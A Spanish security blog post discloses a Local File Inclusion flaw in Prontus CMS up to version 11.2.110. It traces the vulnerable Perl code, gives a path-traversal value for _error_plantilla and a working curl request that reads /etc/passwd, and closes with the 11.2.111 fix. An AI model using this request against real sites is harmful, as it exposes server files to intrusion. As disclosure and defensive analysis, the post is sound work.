isra.cl: programación, hacking & otras yerbas...

Prontus LFI

De nuevo a la carga. Esta vez describo el proceso para encontrar y explotar una vulnerabilidad del tipo Local File Inclusion (LFI) en Prontus CMS, descubierta en mayo de 2020, y que afectó a la versiones <= 11.2.110. La vulnerabilidad fue parchada algunas semanas después de ser reportada. En esta ocasión se deben cumplir algunos requisitos para la explotación, por lo que el impacto es limitado.

Introducción & Motivación
Para una introducción, recomiendo revisar el artículo previo Dos años después: Prontus RCE. El contexto de motivación en este caso es similar. Los análisis de seguridad a portales con Prontus continuaron en el lugar de trabajo y eso me llevó a seguir buscando vulnerabilidades en la aplicación con el fin de encontrar nuevas cosas para reportar explotar. Además, era una oportunidad única para poner en práctica mis conocimientos en Perl y seguridad informática.

Búsqueda & Explotación
Siendo un poco más familiar con el código, comencé a revisar la lógica general de los procesos, buscando fallas en la lectura y escritura de archivos. Pensando siempre en encontrar algo que pueda ser explotado de forma remota, la búsqueda se redujo a los archivos ubicados en /cgi-bin/, ya que una de las mitigaciones globales que se aplicó en varios portales que utilizaban Prontus (luego de reportar el RCE) fue cambiar la ubicación del directorio /cgi-cpn/ o restringir su acceso mediante Basic Authentication. Esto facilitó y complicó las cosas. Menos archivos que revisar, pero también menos posibilidades de encontrar algo. En efecto, la búsqueda de funciones open no arrojó muchos resultados.
$ find cgi-bin -name "*.cgi" | xargs grep "open (" | wc -l
10
Luego de revisar algunos archivos me enfoqué en /cgi-bin/prontus_art_posting.cgi, un archivo para publicar artículos de forma remota mediante peticiones POST. En la subrutina main se comprueba primero la validez de los datos recibidos por parámetro (detalles sobre esto más adelante) y luego se verifica un token CAPTCHA. En caso que el token sea inválido o no exista, se detiene el flujo principal y se llama a la subrutina make_resp_and_exit para mostrar un mensaje de error y terminar la ejecución, utilizando como parámetros la variable $msg_err_captcha y el valor 1.
main: {
  ...
  ...
  # Validacion captcha
  # Si es modo batch, no se valida captcha
  if ($FORM{'_MODE'} ne 'batch') {
      ...
      &lib_captcha2::init($prontus_varglb::DIR_SERVER, $prontus_varglb::DIR_CGI_CPAN);
      my $msg_err_captcha = &lib_captcha2::valida_captcha($captcha_input, $captcha_code, $captcha_type, $captcha_img);
      if ($msg_err_captcha ne '') {
          &make_resp_and_exit($msg_err_captcha, 1);
      };
  };
}
Analizando la subrutina make_resp_and_exit se puede observar que se construye una ruta de plantilla de error en base al parámetro GET _error_plantilla. Esto pasa siempre y cuando la función reciba un mensaje de error "verdadero", y como vimos antes, esto sucede cuando falla la validación del token CAPTCHA.
sub make_resp_and_exit {
    # Genera respuesta.
    my $msg = $_[0];
    my $error = $_[1];

    my $plt = '';
    my $plterror = &param('_error_plantilla');
    if($error && $plterror) {
        $plt = $plterror;
    } else {
        $plt = &param('_msg_plantilla');
    };
    my $path_plt = "$prontus_varglb::DIR_SERVER/$FORM{'_NP'}/plantillas/extra/posting/pags/" . $plt;
Así, la variable $path_plt, que depende de $plt, contiene la ruta de la plantilla de error a utilizar. Como el valor de $plt depende a su vez de _error_plantilla, y no existe verificación alguna sobre su estructura, es posible especificar un valor arbitrario que haga referencia a un archivo de sistema. Por ejemplo, si _error_plantilla = ../../../../../../../etc/passwd, entonces el valor de $path_plt es:
  $path_plt = "$prontus_varglb::DIR_SERVER/$FORM{'_NP'}/plantillas/extra/posting/pags/../../../../../../../etc/passwd"
Siguiendo con el resto de la subrutina, se observa que el archivo referenciado por $path_plt es leído en un buffer, y luego se escribe dicho buffer en un archivo que finalmente se muestra al usuario.
    my $buffer;
    #~ print STDERR "path_plt[$path_plt]\n";
    if (-f $path_plt) {
        $buffer = &glib_fildir_02::read_file($path_plt);
    };
    ...
    ...
    my $archivo = "$ANSWERS_DIR/$answerid\.$extension";
    open (ARCHIVO,">$prontus_varglb::DIR_SERVER$archivo")
            || die "Content-Type: text/plain\n\n Fail Open file $archivo \n $!\n";

    ...
    print ARCHIVO $buffer; #Escribe buffer completo
    close ARCHIVO;

    # Redirige al visitante hacia la pagina de respuesta.
    print "Location: $archivo\n\n";
    exit;
  
Esto permite entonces leer el contenido de archivos arbitrarios en el sistema. Ahora bien, la explotación es un poco más elaborada, ya que se deben cumplir un par de requisitos para llevarla a cabo. El primer requisito tiene que ver con la definición de la variable $path_plt:
my $path_plt = "$prontus_varglb::DIR_SERVER/$FORM{'_NP'}/plantillas/extra/posting/pags/" . $plt;
Debe exisitr la ruta /plantillas/extra/posting/pags/ dentro de la instalación Prontus, y en las versiones afectadas esto no sucede por defecto. El segundo requisito es que debe existir un posting form (el formulario en el cual se publica) con la configuración por defecto, o se debe saber el nombre del posting form utilizado en el portal. El nombre del posting form por defecto es postingform. Saber esto es necesario para hacer una petición válida, ya que el archivo /cgi-bin/prontus_art_posting.cgi espera dos parámetros obligatorios mediante una petición POST: el nombre de la instancia Prontus y el nombre del posting form. El resto de los parámetros son opcionales (como por ejemplo _error_plantilla).
main: {
    ...
    # valida
    if ($ENV{'REQUEST_METHOD'} ne 'POST') {
        &glib_html_02::print_pag_result("Error", 'Solicitud no válida', 0, 'exit=1,ctype=1');
    };
    ...
    # Nombre del prontus
    $FORM{'_NP'} = &glib_cgi_04::param('_NP');
    if (!&lib_prontus::valida_prontus($FORM{'_NP'})) {
        &glib_html_02::print_pag_result("Error","901-Error en los datos enviados.", 0, 'exit=1,ctype=1');
    };

    # Id del form de posting
    $FORM{'_IDF'} = &glib_cgi_04::param('_IDF');
    $FORM{'_IDF'} =~ s/[^0-9a-zA-Z\-\_]//sg;
    if (!$FORM{'_IDF'}) {
        &glib_html_02::print_pag_result("Error","902-Error en los datos enviados.", 0, 'exit=1,ctype=1');
    };
    ...
}
  
Con esto se tiene lo necesario para explotar la vulnerabilidad. Al no especificar el parámetro del token CAPTCHA, la validación falla y se llama a la subrutina make_resp_and_exit. De esta forma, la vulnerabilidad puede ser explotada mediante una petición curl como sigue:
curl -k -L -d "_error_plantilla=../../../../../../../../../../etc/passwd&_NP=prontus&_IDF=postingform" https://localhost/cgi-bin/prontus_art_posting.cgi
Pude explotar la vulnerabilidad en producción a pesar de los requisitos que deben ser cumplidos. Para ello utilicé el siguiente script.

Mitigación
La vulnerabilidad fue corregida algunas semanas después de ser reportada, en el release 11.2.111. Para ello, se agregó una expresión que elimina puntos (..) luego de la definición de $path_plt. Esto evita incluir ficheros fuera del directorio original de la plantilla.
my $path_plt = "$prontus_varglb::DIR_SERVER/$FORM{'_NP'}/plantillas/extra/posting/pags/" . $plt;
$path_plt =~ s/\.\.\///g;
Al momento de escribir este artículo, la última versión de Prontus disponible es la 12.1.30.0, por lo que cualquier sitio con actualizaciones vigentes debería estar protegido ante esta vulnerabilidad.